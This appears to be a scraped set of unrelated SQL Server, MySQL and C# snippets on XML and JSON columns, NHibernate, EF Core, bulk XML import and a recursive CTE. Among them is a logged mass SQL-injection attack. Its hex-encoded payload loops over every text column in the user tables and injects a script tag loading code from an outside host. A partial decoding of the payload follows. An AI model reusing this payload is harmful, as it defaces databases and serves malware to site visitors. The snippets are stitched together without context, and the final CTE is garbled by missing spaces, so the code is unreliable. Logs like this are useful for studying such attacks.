Create Table Test(ID int,Firstname varchar(20));

Insert Into Test (ID,Firstname) Values(1,'K');
Insert Into Test (ID,Firstname) Values(2,'B');
Insert Into Test (ID) Values(3);

Select COUNT(*) From Test

Select COUNT(Firstname) From Test

select count(cast(null as int))
select count(*) where 'a'='b'
select €
select ¥
select £
Select $ 
select count(*)-count(*)
select Ascii('A')-Ascii('A')
select LEN('')

DECLARE @Value1 DECIMAL(5,2) = 9.22
DECLARE @Value2 DECIMAL(5,2) = 8.34
SELECT CASE WHEN @Value1 > @Value2 THEN @Value1 ELSE @Value2 END AS MaxColumn

using System.Xml.Linq;

namespace TestModel
{
   public class DynamicTable
   {
       public virtual int Id { get; set; }
       public virtual XDocument Document { get; set; }
   }
}

using FluentNHibernate.Automapping;
using FluentNHibernate.Automapping.Alterations;
using NHibernate.Type;

namespace TestModel
{
   public class DynamicTableMapping : IAutoMappingOverride<DynamicTable>
   {
       public void Override(AutoMapping<DynamicTable> mapping)
       {
           mapping.Id(x => x.Id);
           mapping.Map(x => x.Document).CustomType<XDocType>();
       }
   }
}

   if exists (select * from dbo.sysobjects
                where id = object_id(N'[DynamicTable]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
        drop table [DynamicTable]

   create table [DynamicTable] (
       Id INT IDENTITY NOT NULL,
      Document XML null,
      primary key (Id)
   )

//insert
object savedId = 0;
using (var session = sessionFactory.OpenSession())
{
   using (var tx = session.BeginTransaction())
   {
        var obj = new DynamicTable
        {
            Document = System.Xml.Linq.XDocument.Parse(
                    @"<Doc><Node1>Text1</Node1><Node2>Text2</Node2></Doc>"
                    )
        };
        savedId = session.Save(obj);
        tx.Commit();
    }
}

//simple query
using (var session = sessionFactory.OpenSession())
{
   using (var tx = session.BeginTransaction())
   {
        var entity = session.Get<DynamicTable>(savedId);
        if (entity != null)
        {
           Console.WriteLine(entity.Document.Root.ToString());
        }

        tx.Commit();
    }
}

//advanced query
using (var session = sessionFactory.OpenSession())
{
   using (var tx = session.BeginTransaction())
   {
       var list = session.CreateSQLQuery("select [Document].value('(//Doc/Node1)[1]','nvarchar(255)') from [DynamicTable] where id=:p0")
                               .SetParameter("p0", savedId)
                               .List();

        if (list != null)
        {
             Console.WriteLine(list[0]);
        }

        tx.Commit();
    }
}

<?xml version="1.0" encoding="UTF-8"?>
<cal1388> 
        <day>
  <num>1/1</num>
  <desc>عید نوروز، لحظه تحویل سال:ساعت 15 و 13 دقیقه و 39 ثانیه </desc>
        </day>
</cal1388>

SELECT '1388' saal,
      X.day.query('num').value('.', 'nVARCHAR(50)') rooz_maah,
      X.day.query('desc').value('.', 'nVARCHAR(max)') tozih
FROM   (
          SELECT CAST(x AS XML)
          FROM   OPENROWSET(
                     BULK
                     'c:\1388.xml',
                     SINGLE_BLOB
                 ) AS T(x)
      ) AS T(x)
      CROSS APPLY x.nodes('cal1388/day') AS X(day);

DECLARE @MyXML XML
 
SELECT @MyXML = CAST(x AS XML)
FROM   OPENROWSET(
          BULK
          'c:\1388.xml',
          SINGLE_BLOB
      ) AS T(x)

SELECT 1388 saal,
      nref.value('num[1]', 'nvarchar(50)') rooz_maah,
      nref.value('desc[1]', 'nvarchar(max)') tozih

FROM   @MyXML.nodes('//day') AS R(nref)

DECLARE @MyXML XML
DECLARE @handle INT
 
SELECT @MyXML = CAST(x AS XML)
FROM   OPENROWSET(
          BULK
          'c:\1388.xml',
          SINGLE_BLOB
      ) AS T(x)

EXEC sp_xml_preparedocument @handle OUTPUT,
    @MyXML

SELECT 1388 saal,
      *
FROM   OPENXML(@handle, '/cal1388/day', 2) WITH
      (num VARCHAR(20), [desc] NVARCHAR(MAX))

EXEC sp_xml_removedocument @handle

INSERT INTO tblMonasebat
 (
   saal,
   rooz_mah,
   tozih
 )
SELECT '1388' saal,
      nref.value('num[1]', 'nvarchar(50)') rooz_maah,
      nref.value('desc[1]', 'nvarchar(max)') tozih
FROM   @MyXML.nodes('//day') AS R(nref)

Log Entry :

Error Raw Url :/show.aspx?id=15;DECLARE%20@S%20CHAR(4000);SET%20@S=
CAST(0x4445434C415245204054207661726368617228323535292C404
32076617263686172283430303029204445434C415245205461626C655F4375727
36F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616
D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220
776865726520612E69643D622E696420616E6420612E78747970653D27752720616E
642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78
747970653D323331206F7220622E78747970653D31363729204F50454E205461626C65
5F437572736F72204645544348204E4558542046524F4D20205461626C655F43757273
6F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3
02920424547494E20657865632827757064617465205B272B40542B275D20736574205B
272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E
3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B4
0432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726970742073
72633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6
A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20
205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461
626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

IP=120.129.71.187

vahidnasiri.blogspot.com

DECLARE @T varchar(255),

@C varchar(4000)

DECLARE Table_Cursor CURSOR

FOR

SELECT a.name,

b.name

FROM sysobjects a,

syscolumns b

WHERE a.id = b.id

AND a.xtype = 'u'

AND (

b.xtype = 99

OR b.xtype = 35

OR b.xtype = 231

OR b.xtype = 167

)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

CREATE TABLE EmployeeJsonAttributes (
  Id int NOT NULL AUTO_INCREMENT,
  EmployeeId int NOT NULL,
  Attributes json DEFAULT NULL,
  PRIMARY KEY (Id),
  FOREIGN KEY (EmployeeId) REFERENCES EmployeeEav (Id) ON DELETE CASCADE
)

INSERT INTO EmployeeJsonAttributes VALUES (
101, 
  '{
  "name": "Jon",
    "lastName": "Doe",
    "dateOfBirth": "1989-01-01 10:10:10+05:30",
    "skills": [ "C#", "JS" ],
    "address":  {
  "country": "UK",
      "city": "London",
      "email": "jon.doe@example.com"
    }
  }'
)

INSERT INTO efcoresample.EmployeeJsonAttributes VALUES (
101, 
  JSON_OBJECT(
"name", "Jon", 
"lastName", "Doe",
"dateOfBirth", "1989-01-01 10:10:10+05:30",
"skills", JSON_ARRAY("C#", "JS"),
    "address", JSON_OBJECT(
  "country", "UK",
      "city", "London",
  "email", "jon.doe@example.com"
    )
  )
)

SELECT JSON_EXTRACT(Attributes, '$.address.country') as Country 
FROM EmployeeJsonAttributes
WHERE EmployeeId = 101;

-- Conutry
-- "UK"

SELECT Attributes -> '$.address.country' as Country 
FROM EmployeeJsonAttributes
WHERE EmployeeId = 101;

-- Conutry
-- "UK"

SELECT EmployeeId, Attributes ->> '$.DateOfBirth' AS BirthDate FROM EmployeeJsonAttributes
WHERE Attributes ->> '$.DateOfBirth' > DATE_SUB(CURRENT_DATE(), INTERVAL 25 YEAR)

// Fluent API
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
    modelBuilder.Entity<Employee>(entity =>
    {
        entity.Property(e => e.Attributes).HasColumnType("json");
    });
}

// Data Annotations
[Column(TypeName = "json")]
public string Attributes { get; set; }

public class EmployeeJsonAttribute
{
    public int Id { get; set; }
    public virtual EmployeeEav Employee { get; set; }
    public int EmployeeId { get; set; }
    [Column(TypeName = "json")]
    public string Attributes { get; set; }
}

dbContext.EmployeeJsonAttributes.Add(new EmployeeJsonAttribute
{
    EmployeeId =  101,
    Attributes = JsonSerializer.Serialize(new
    {
        FirstName = "Sirwan",
        LastName = "Afifi",
        DateOfBirth = DateTime.Now.AddYears(-31)
    })
});

dbContext.SaveChanges();

var employee = dbContext.EmployeeJsonAttributes.Find(201);
Console.WriteLine(JsonSerializer.Deserialize<Employee>(employee.Attributes).DateOfBirth);

DECLARE @Table TABLE(
    ID INT,
    ParentID INT,
    NAME VARCHAR(20)
)

INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 1, NULL, 'A'
INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 2, 1, 'B-1'
INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 3, 1, 'B-2'
INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 4, 2, 'C-1'
INSERT INTO @Table (ID,ParentID,[NAME]) SELECT 5, 2, 'C-2'


DECLARE @ID INT

SELECT @ID = 2

;WITH ret AS(
    SELECT*
    FROM@Table
    WHEREID = @ID
    UNION ALL
    SELECTt.*
    FROM@Table t INNER JOIN
    ret r ON t.ParentID = r.ID
)

SELECT  *
FROM    ret